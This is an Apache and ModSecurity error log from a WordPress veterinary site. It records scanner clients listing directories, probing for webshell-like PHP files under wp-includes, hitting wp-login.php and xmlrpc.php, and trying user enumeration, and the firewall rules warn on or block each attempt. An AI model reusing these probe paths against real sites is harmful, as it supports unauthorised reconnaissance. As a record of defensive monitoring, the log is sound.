[Mon Dec 08 21:55:20.662003 2025] [autoindex:error] [pid 48541:tid 48555] [client 20.214.247.3:27587] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Mon Dec 08 21:55:20.813913 2025] [autoindex:error] [pid 48541:tid 48565] [client 20.214.247.3:27587] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Mon Dec 08 21:55:32.582571 2025] [autoindex:error] [pid 50569:tid 50596] [client 20.214.247.3:27607] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Mon Dec 08 21:55:33.630750 2025] [:error] [pid 50569:tid 50591] [client 20.214.247.3:27496] [client 20.214.247.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.214.247.3, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aTbY1fHhZxyKreYmWzLA0AAAABM"], referer: https://www.google.fr/
[Mon Dec 08 21:55:35.578325 2025] [:error] [pid 50569:tid 50584] [client 20.214.247.3:27607] [client 20.214.247.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.214.247.3, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aTbY1_HhZxyKreYmWzLA1QAAAAw"], referer: https://www.google.fr/
[Mon Dec 08 21:55:42.592710 2025] [autoindex:error] [pid 50569:tid 50582] [client 20.214.247.3:27496] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/cache/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Mon Dec 08 21:55:55.118698 2025] [authz_core:error] [pid 50569:tid 50591] [client 20.214.247.3:27496] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/wflogs/, referer: https://www.google.fr/
[Mon Dec 08 21:55:55.271465 2025] [autoindex:error] [pid 50569:tid 50579] [client 20.214.247.3:27496] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Mon Dec 08 21:55:55.421235 2025] [access_compat:error] [pid 50569:tid 50595] [client 20.214.247.3:27496] AH01797: client denied by server configuration: /home/vetstars/public_html/wp-content/updraft/, referer: https://www.google.fr/
[Mon Dec 08 21:56:21.642601 2025] [autoindex:error] [pid 50569:tid 50573] [client 20.214.247.3:27607] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Mon Dec 08 21:56:22.012778 2025] [autoindex:error] [pid 50569:tid 50593] [client 20.214.247.3:27496] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Mon Dec 08 21:56:22.540433 2025] [autoindex:error] [pid 50569:tid 50583] [client 20.214.247.3:27496] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Mon Dec 08 21:56:22.704717 2025] [autoindex:error] [pid 50569:tid 50577] [client 20.214.247.3:27496] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Mon Dec 08 21:56:22.933111 2025] [autoindex:error] [pid 50569:tid 50586] [client 20.214.247.3:27496] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Mon Dec 08 21:56:23.137873 2025] [autoindex:error] [pid 50569:tid 50574] [client 20.214.247.3:27496] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Mon Dec 08 21:56:23.292467 2025] [autoindex:error] [pid 50569:tid 50579] [client 20.214.247.3:27496] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Mon Dec 08 21:56:23.469066 2025] [autoindex:error] [pid 50569:tid 50573] [client 20.214.247.3:27496] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Mon Dec 08 21:56:23.982006 2025] [autoindex:error] [pid 50569:tid 50592] [client 20.214.247.3:27496] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Mon Dec 08 21:56:24.362824 2025] [autoindex:error] [pid 50569:tid 50580] [client 20.214.247.3:27496] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Mon Dec 08 21:56:24.743740 2025] [autoindex:error] [pid 50569:tid 50578] [client 20.214.247.3:27496] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Mon Dec 08 21:56:25.186405 2025] [autoindex:error] [pid 50569:tid 50591] [client 20.214.247.3:27496] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Mon Dec 08 21:56:25.719036 2025] [:error] [pid 50569:tid 50582] [client 20.214.247.3:27496] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/autoload_classmap.php"] [unique_id "aTbZCfHhZxyKreYmWzLBowAAAAo"], referer: https://www.bing.com/
[Mon Dec 08 21:56:26.988943 2025] [:error] [pid 50569:tid 50572] [client 20.214.247.3:27608] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/chosen.php"] [unique_id "aTbZCvHhZxyKreYmWzLBqAAAAAA"], referer: https://www.google.de/
[Mon Dec 08 21:56:27.823319 2025] [:error] [pid 48573:tid 48584] [client 20.214.247.3:27523] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aTbZC1Iayuqwlm3CEkaUdwAAAUk"], referer: https://duckduckgo.com/
[Mon Dec 08 21:56:28.770348 2025] [:error] [pid 48541:tid 48559] [client 20.214.247.3:27532] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "aTbZDASNhJPArxLCdWEJ1QAAARA"], referer: https://www.google.fr/
[Mon Dec 08 21:56:30.108308 2025] [:error] [pid 48481:tid 48507] [client 20.214.247.3:27521] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aTbZDie0pzx5KCi3S0IngwAAANY"], referer: https://www.google.com/
[Mon Dec 08 21:56:30.970646 2025] [autoindex:error] [pid 50569:tid 50586] [client 20.214.247.3:27600] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Mon Dec 08 21:56:32.416236 2025] [autoindex:error] [pid 50569:tid 50589] [client 20.214.247.3:27600] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Mon Dec 08 21:56:32.687274 2025] [:error] [pid 50569:tid 50591] [client 20.214.247.3:27600] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/search/index.php"] [unique_id "aTbZEPHhZxyKreYmWzLBuwAAABM"], referer: https://www.google.com/
[Mon Dec 08 21:56:33.470152 2025] [:error] [pid 48541:tid 48562] [client 20.214.247.3:27570] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aTbZEQSNhJPArxLCdWEJ4wAAARM"], referer: https://duckduckgo.com/
[Mon Dec 08 21:56:34.499815 2025] [:error] [pid 50569:tid 50595] [client 20.214.247.3:27607] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aTbZEvHhZxyKreYmWzLBxAAAABc"], referer: https://www.google.fr/
[Mon Dec 08 21:56:35.426393 2025] [:error] [pid 48573:tid 48576] [client 20.214.247.3:27469] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aTbZE1Iayuqwlm3CEkaUhQAAAUE"], referer: https://www.google.com/
[Mon Dec 08 21:56:36.680205 2025] [:error] [pid 48481:tid 48505] [client 20.214.247.3:27549] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aTbZFCe0pzx5KCi3S0IniAAAANQ"], referer: https://www.yahoo.com/
[Mon Dec 08 21:56:44.533788 2025] [autoindex:error] [pid 48482:tid 48521] [client 20.214.247.3:27634] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Mon Dec 08 21:56:44.739321 2025] [autoindex:error] [pid 48482:tid 48535] [client 20.214.247.3:27634] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Mon Dec 08 21:56:45.200970 2025] [autoindex:error] [pid 48482:tid 48532] [client 20.214.247.3:27634] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Mon Dec 08 21:56:45.372278 2025] [autoindex:error] [pid 48482:tid 48520] [client 20.214.247.3:27634] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Mon Dec 08 21:56:45.525408 2025] [autoindex:error] [pid 48482:tid 48518] [client 20.214.247.3:27634] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Mon Dec 08 21:56:54.086405 2025] [:error] [pid 50569:tid 50583] [client 20.214.247.3:27591] [client 20.214.247.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.214.247.3, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTbZJvHhZxyKreYmWzLB-QAAAAs"], referer: https://www.google.fr/
[Mon Dec 08 21:57:29.650307 2025] [autoindex:error] [pid 50569:tid 50579] [client 20.214.247.3:27520] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Mon Dec 08 21:57:30.072101 2025] [autoindex:error] [pid 50569:tid 50580] [client 20.214.247.3:27520] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Mon Dec 08 21:57:53.392176 2025] [autoindex:error] [pid 48481:tid 48494] [client 20.214.247.3:27530] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Mon Dec 08 21:58:16.557070 2025] [:error] [pid 50569:tid 50572] [client 20.214.247.3:27626] [client 20.214.247.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.214.247.3, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTbZePHhZxyKreYmWzLCXwAAAAA"], referer: https://www.google.co.uk/
[Mon Dec 08 22:40:07.462154 2025] [:error] [pid 48573:tid 48589] [client 35.222.233.41:51422] [client 35.222.233.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.222.233.41, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTbjR1Iayuqwlm3CEkalQwAAAU4"]
[Mon Dec 08 22:40:10.259912 2025] [:error] [pid 48573:tid 48591] [client 35.222.233.41:51422] [client 35.222.233.41] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTbjSlIayuqwlm3CEkalSAAAAVA"]
[Mon Dec 08 22:40:12.512134 2025] [:error] [pid 48573:tid 48580] [client 35.222.233.41:51422] [client 35.222.233.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.222.233.41, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTbjTFIayuqwlm3CEkalSgAAAUU"]
[Mon Dec 08 22:45:39.497866 2025] [:error] [pid 48573:tid 48591] [client 207.180.205.210:41652] [client 207.180.205.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 207.180.205.210, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTbkk1Iayuqwlm3CEkamyAAAAVA"]
[Tue Dec 09 00:01:33.333446 2025] [:error] [pid 44355:tid 44371] [client 52.226.240.29:11520] [client 52.226.240.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.226.240.29, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTb2XYcZ528mBeyOD1ezZgAAAE4"]
[Tue Dec 09 00:06:38.319708 2025] [ssl:error] [pid 48573:tid 48598] [client 107.172.58.36:55390] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: http://macfieldsvet.com.au/
[Tue Dec 09 01:12:52.685909 2025] [:error] [pid 17589:tid 17671] [client 35.193.107.129:61074] [client 35.193.107.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.193.107.129, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTcHFI3u_N_j630LWcCHIAAAAVg"]
[Tue Dec 09 01:12:55.704391 2025] [:error] [pid 17589:tid 17667] [client 35.193.107.129:61074] [client 35.193.107.129] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTcHF43u_N_j630LWcCHKwAAAVQ"]
[Tue Dec 09 01:12:58.780406 2025] [:error] [pid 17589:tid 17652] [client 35.193.107.129:61074] [client 35.193.107.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.193.107.129, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTcHGo3u_N_j630LWcCHMQAAAUU"]
[Tue Dec 09 01:21:23.293874 2025] [:error] [pid 57134:tid 57195] [client 23.88.48.40:43072] [client 23.88.48.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 23.88.48.40, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTcJE1n7_Hlbg-DXKIsH8gAAAFU"]
[Tue Dec 09 01:23:29.483894 2025] [:error] [pid 57134:tid 57192] [client 34.31.48.182:63018] [client 34.31.48.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.31.48.182, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTcJkVn7_Hlbg-DXKIsIogAAAFI"]
[Tue Dec 09 01:23:32.216147 2025] [:error] [pid 57134:tid 57197] [client 34.31.48.182:63018] [client 34.31.48.182] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTcJlFn7_Hlbg-DXKIsIqQAAAFc"]
